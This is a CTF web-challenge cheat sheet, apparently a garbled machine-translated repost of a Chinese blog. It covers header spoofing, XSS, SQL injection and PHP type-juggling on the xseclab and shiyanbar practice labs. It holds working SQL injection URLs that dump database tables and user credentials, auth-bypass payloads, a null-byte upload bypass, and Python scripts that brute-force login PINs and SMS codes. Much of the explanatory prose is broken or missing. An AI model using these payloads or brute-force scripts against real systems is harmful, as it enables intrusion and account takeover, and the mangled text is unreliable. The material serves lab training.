CTF 웹 총괄

본문 링크:http://blog.csdn.net/u012763794/article/details/50959166
본 고 는 자신의 문제 풀이 경험 과 각 연습 플랫폼 에 따라 계속 업데이트 되 고 있 습 니 다. 만약 에 제 가 최근 에 게 으 르 고 업데이트 되 지 않 았 다 면 아래 에서 저 에 게 알려 주 거나 격려 해 주 십시오.
자신의 노트 와 막 입문 한 어린이 신발 로 만 큰 소 는 뿌리 지 마라.
기초 편
 
1. 소스 코드 직접 보기
 
http://lab1.xseclab.com/base1_4a4d993ed7bd7d467b27af52d2aaa800/index.php
 
2. HTTP 요청 헤더 수정 또는 추가
 
흔히 볼 수 있 는 것 은:
레 퍼 런 스 출처 위조
X - Forward - for: ip 위조
User - agent: 사용자 에이전트 (어떤 브 라 우 저 를 사용 하 는 지)
http://lab1.xseclab.com/base6_6082c908819e105c378eb93b6631c4d3/index.php
/ /. net 버 전 수정, 뒤에 추가, 예 를 들 어 버 전 9
.NET CLR 9
 
Accept - Language: 언어
http://lab1.xseclab.com/base1_0ef337f3afbe42d5619d7a36c19c20ab/index.php http://ctf1.shiyanbar.com/basic/header/
쿠키 의 수정
http://lab1.xseclab.com/base9_ab629d778e3a29540dfd60f2e548a5eb/index.php
 
 
3. HTTP 요청 헤더 나 응답 헤더 보기
 
http://lab1.xseclab.com/base7_eb68bd2f0d762faf70c89799b3c1cc52/index.php http://ctf1.shiyanbar.com/basic/catch/
 
4.302 점프 하 는 중계 홈 페이지 에 정보 가 있 습 니 다.
http://lab1.xseclab.com/base8_0abd63aa54bef0464289d6a42465f354/index.php
 
5. 개발 자 도구 콘 솔 보기
 
6. javascript 코드 돌아 가기
 
코드 를 삭제 하거나 수정 하거나 로 컬 프 록 시 를 통 해 패 키 지 를 돌 립 니 다.
http://lab1.xseclab.com/base10_0b4e4866096913ac9c3a2272dde27215/index.php
 
7. burp 의 repeater 를 사용 하여 전체 HTTP 패 키 지 를 봅 니 다.
http://lab1.xseclab.com/xss1_30ac8668cd453e7e387c76b132b140bb/index.php
 
8. javascript 코드 를 읽 고 콘 솔 에서 정확 한 암 호 를 가 져 옵 니 다.
http://ctf1.shiyanbar.com/basic/js/index.asp
 
9. robots. txt 파일 정보 가 져 오기
이것 은 본래 검색엔진 에 보 여 주 는 정보 로 사이트 구조 목록 이 노출 될 가능성 이 높다
http://lab1.xseclab.com/base12_44f0d8a96eed21afdc4823a0bf1a316b/index.php
 
10..bash_history, 이것 은 본 적 이 있다 고 해 야 합 니 다. 바로 사용자 가 입력 한 Liux 명령 을 기록 하 는 것 입 니 다.
 
전단 스 크 립 트 클래스
 
복호화
http://ctf5.shiyanbar.com/DUTCTF/1.html / / F12 콘 솔 에 바로 붙 여 넣 으 면
 
XSS
http://lab1.xseclab.com/realxss1_f123c17dd9c363334670101779193998/index.php
이 문 제 는 허점 이 있 으 니 명령 행 에 바로 아래 에 입력 하면 된다.
$.post("./getkey.php?ok=1",{'url':location.href,'ok':ok},function(data){
			console.log(data);
        });
showkey();

물론 간단 한 직접 입력.
alert(HackingLab)

이렇게 해도 돼 요.
이 문제 도 많 지 않다http://lab1.xseclab.com/realxss2_bcedaba7e8618cdfb51178765060fc7d/index.php
문제 의 그 jquery 를 직접 입력 할 수도 있 고, 아래 의 것 을 순 순 히 입력 할 수도 있다.


http://lab1.xseclab.com/realxss3_9b28b0ff93d0b0099f5ac7f8bad3f368/index.php

 

 

 

asp :

1.http://ctf8.shiyanbar.com/aspaudit/ 

:F12 maxlength, ,

//Username:  'union  select 1,1,1 from bdmin '  , , id, 3 , 4 ..., union , , 1,1,1 , 1 。

 

,   'union  select 1,1,1 from bdmin where '1'='1

 

php

1.http://ctf8.shiyanbar.com/phpaudit/ // http X-Forwarded-For

2.http://ctf1.shiyanbar.com/web/4/index.php // ,

3.http://ctf5.shiyanbar.com/DUTCTF/index.php // urlencode

4.http://ctf1.shiyanbar.com/web/5/index.php //

5.http://ctf4.shiyanbar.com/web/false.php // , null

6.http://ctf4.shiyanbar.com/web/Session.php // password= , $_SESSION['password'], == , 。

http://ctf10.shiyanbar.com:8888/main.php

 

sql

ko , sqlmap, -——10 sql

1.http://ctf5.shiyanbar.com:8080/9/asp.asp

 

2.http://ctf5.shiyanbar.com/8/index.php?id=1

and XX ,

//      
//       and     
http://ctf5.shiyanbar.com/8/index.php?id=1%20and%201=1
http://ctf5.shiyanbar.com/8/index.php?id=1%20and%201=2
//     
http://ctf5.shiyanbar.com/8/index.php?id=1%20order%20by%203
http://ctf5.shiyanbar.com/8/index.php?id=1%20order%20by%202
//         (//concat_ws        ,           ,CHAR(58)   ,     ASCII 58)
http://ctf5.shiyanbar.com/8/index.php?id=1%20and%201=2%20union%20select%201,concat_ws(CHAR(58),user(),database(),version()) 
//        ,  table_schema         (  mysql          ,     16    ,            )
http://ctf5.shiyanbar.com/8/index.php?id=1%20and%201=2%20union%20select%201,table_name%20from%20information_schema.tables%20where%20table_schema=0x6d795f6462
//        
http://ctf5.shiyanbar.com/8/index.php?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_name=0x746869736b6579
//       
http://ctf5.shiyanbar.com/8/index.php?id=1 and 1=2 union select 1,k0y from thiskey

3.http://lab1.xseclab.com/sqli2_3265b4852c13383560327d1c31550b60/index.php

CTF web  _ 1

4.http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php

payload:

http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1 or 1=1

 

5.http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1

, , ,

:Content-Type:text/html; charset=gb2312
payload
http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%a0%27 or 1=1 limit 2,1%23

 

6.http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0&num=1

http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=7&num=1 procedure analyse(extractvalue(1,concat(0x3a,database())),1)     

:mydbs

http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=7&num=1 procedure analyse(extractvalue(1,concat(0x3a,(select table_name from information_schema.tables where table_schema=0x6d79646273 limit 0,1 ))),1)

http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=7&num=1 procedure analyse(extractvalue(1,concat(0x3a,(select concat(username,0x3a,password) from user limit 2,1 ))),1)

 

,You must do it as fast as you can!, , , post :key=XXXXXXXXXXXXX

http://ctf4.shiyanbar.com/web/10.php

 

import requests 
import base64
 
url='http://ctf4.shiyanbar.com/web/10.php' 
req=requests.get(url)
print req.text
key=req.headers['FLAG']
key=base64.b64decode(key)
key=key.split(':')[1].strip()
data={'key':key}
r=requests.post(url,data=data) 
print(r.text)

, sql , and (pw='$pass'), payload  :user=admin')#&pass=432142

1.http://ctf1.shiyanbar.com/web/4/index.php

 

2.http://ctf1.shiyanbar.com/web/5/index.php

// asp , , ( ):user=' union select 'c4ca4238a0b923820dcc509a6f75849b'  from php -- &pass=1

MD5 1 md5

 

 

http://www.shiyanbar.com/ctf/1760

 

$cipher = 'a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws';
$tmp = base64_decode(strrev(str_rot13($cipher)));
echo $tmp;
$b = '';
for ($i=0; $i < strlen($tmp); $i++) { 
	$a = substr($tmp, $i, 1);
	$b = $b.chr(ord($a)-1);
}
echo strrev($b);

http://ctf4.shiyanbar.com/web/upload  // , , , , 00   /uploads/sdf.php+ 00

 

multipart/form-data

php

1.

var_dump( 0 == "a" ); 
var_dump( "0" == "a" );

true , false

php , 0, ( intval(''123abd45gf) 123)

 

2.md5“ ”

php 0e == , ===

var_dump("0e462097431906854"=="0e83040041");

true, md5 0e ,

md5('240610708')     :0e462097431906509019562988736854 
md5('QNKCDZO')     :0e830400451993494058024219903391

240610708、QNKCDZO、aabg7XSs、aabC9RqS
 

3.md5

md5(array) == NULL

 

4.strcmp(array,string) ==

 

5. :register_globals , On , , Off , 。PHP4 ,PHP5 。
extract , http://www.w3school.com.cn/php/func_array_extract.asp

6.ereg :00
%00
 

http://www.shiyanbar.com/ctf/1805

 

.bak   ultroedit....

~

.xxxx.php.swp  .xxxx.php.swo    vim

 

 

http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/index.php

 

, ,

 

import requests
 
url = "http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/login.php"
req = requests.session()
header = {"Cookie":"PHPSESSID=9b8f8686269f5d70a44766e3c5f4dcdc"}
for pwd in xrange(1000,10000):
 
	data={'username':'admin','pwd':pwd,'vcode':'c3pe'}
 
	ret = req.post(url, data=data, headers=header)
	print ret.text
	if 'error' not in ret.text:
		print pwd
		break

CTF web  _ 2

http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/index.php

 

:“ , ! , !”

 

, , , ''

import requests
 
url = "http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/login.php"
req = requests.session()
header = {"Cookie":"PHPSESSID=3c39940da50b514038b3e9971ee5f57e"}
 
for pwd in xrange(1000,10000):
	data={'username':'admin','pwd':pwd,'vcode':''}
	ret = req.post(url, data=data, headers=header)
	
	if 'error' not in ret.text:
		print ret.text
		print "good: password is:" + str(pwd)
		break
	else:
		print "try:" + str(pwd) + " and result is :"+ ret.text

CTF web  _ 3

 

http://lab1.xseclab.com/vcode3_9d1ea7ad52ad93c04a837e0808b17097/index.php  

 

http://lab1.xseclab.com/vcode6_mobi_b46772933eb4c8b5175c67dbc44d8901/

, , , ,

 

import requests
 
url = "http://lab1.xseclab.com/vcode6_mobi_b46772933eb4c8b5175c67dbc44d8901/login.php"
req = requests.session()
header = {"Cookie":"PHPSESSID=61556a5b2a6c2a03a2f35b199cbb5364"}
for vcode in xrange(100,1000):
	data={'username':'13388886666','vcode':vcode, 'Login':'submit'}
	# data={'username':'13399999999','vcode':vcode, 'Login':'submit'}
	ret = req.post(url, data=data, headers=header)
	
	if 'error' not in ret.text:
		print ret.text
		print "good: vcode is:" + str(vcode)
		break
	else:
		print "try:" + str(vcode) + " and result is :"+ ret.text

:http://blog.csdn.net/u012763794/article/details/50959166

좋은 웹페이지 즐겨찾기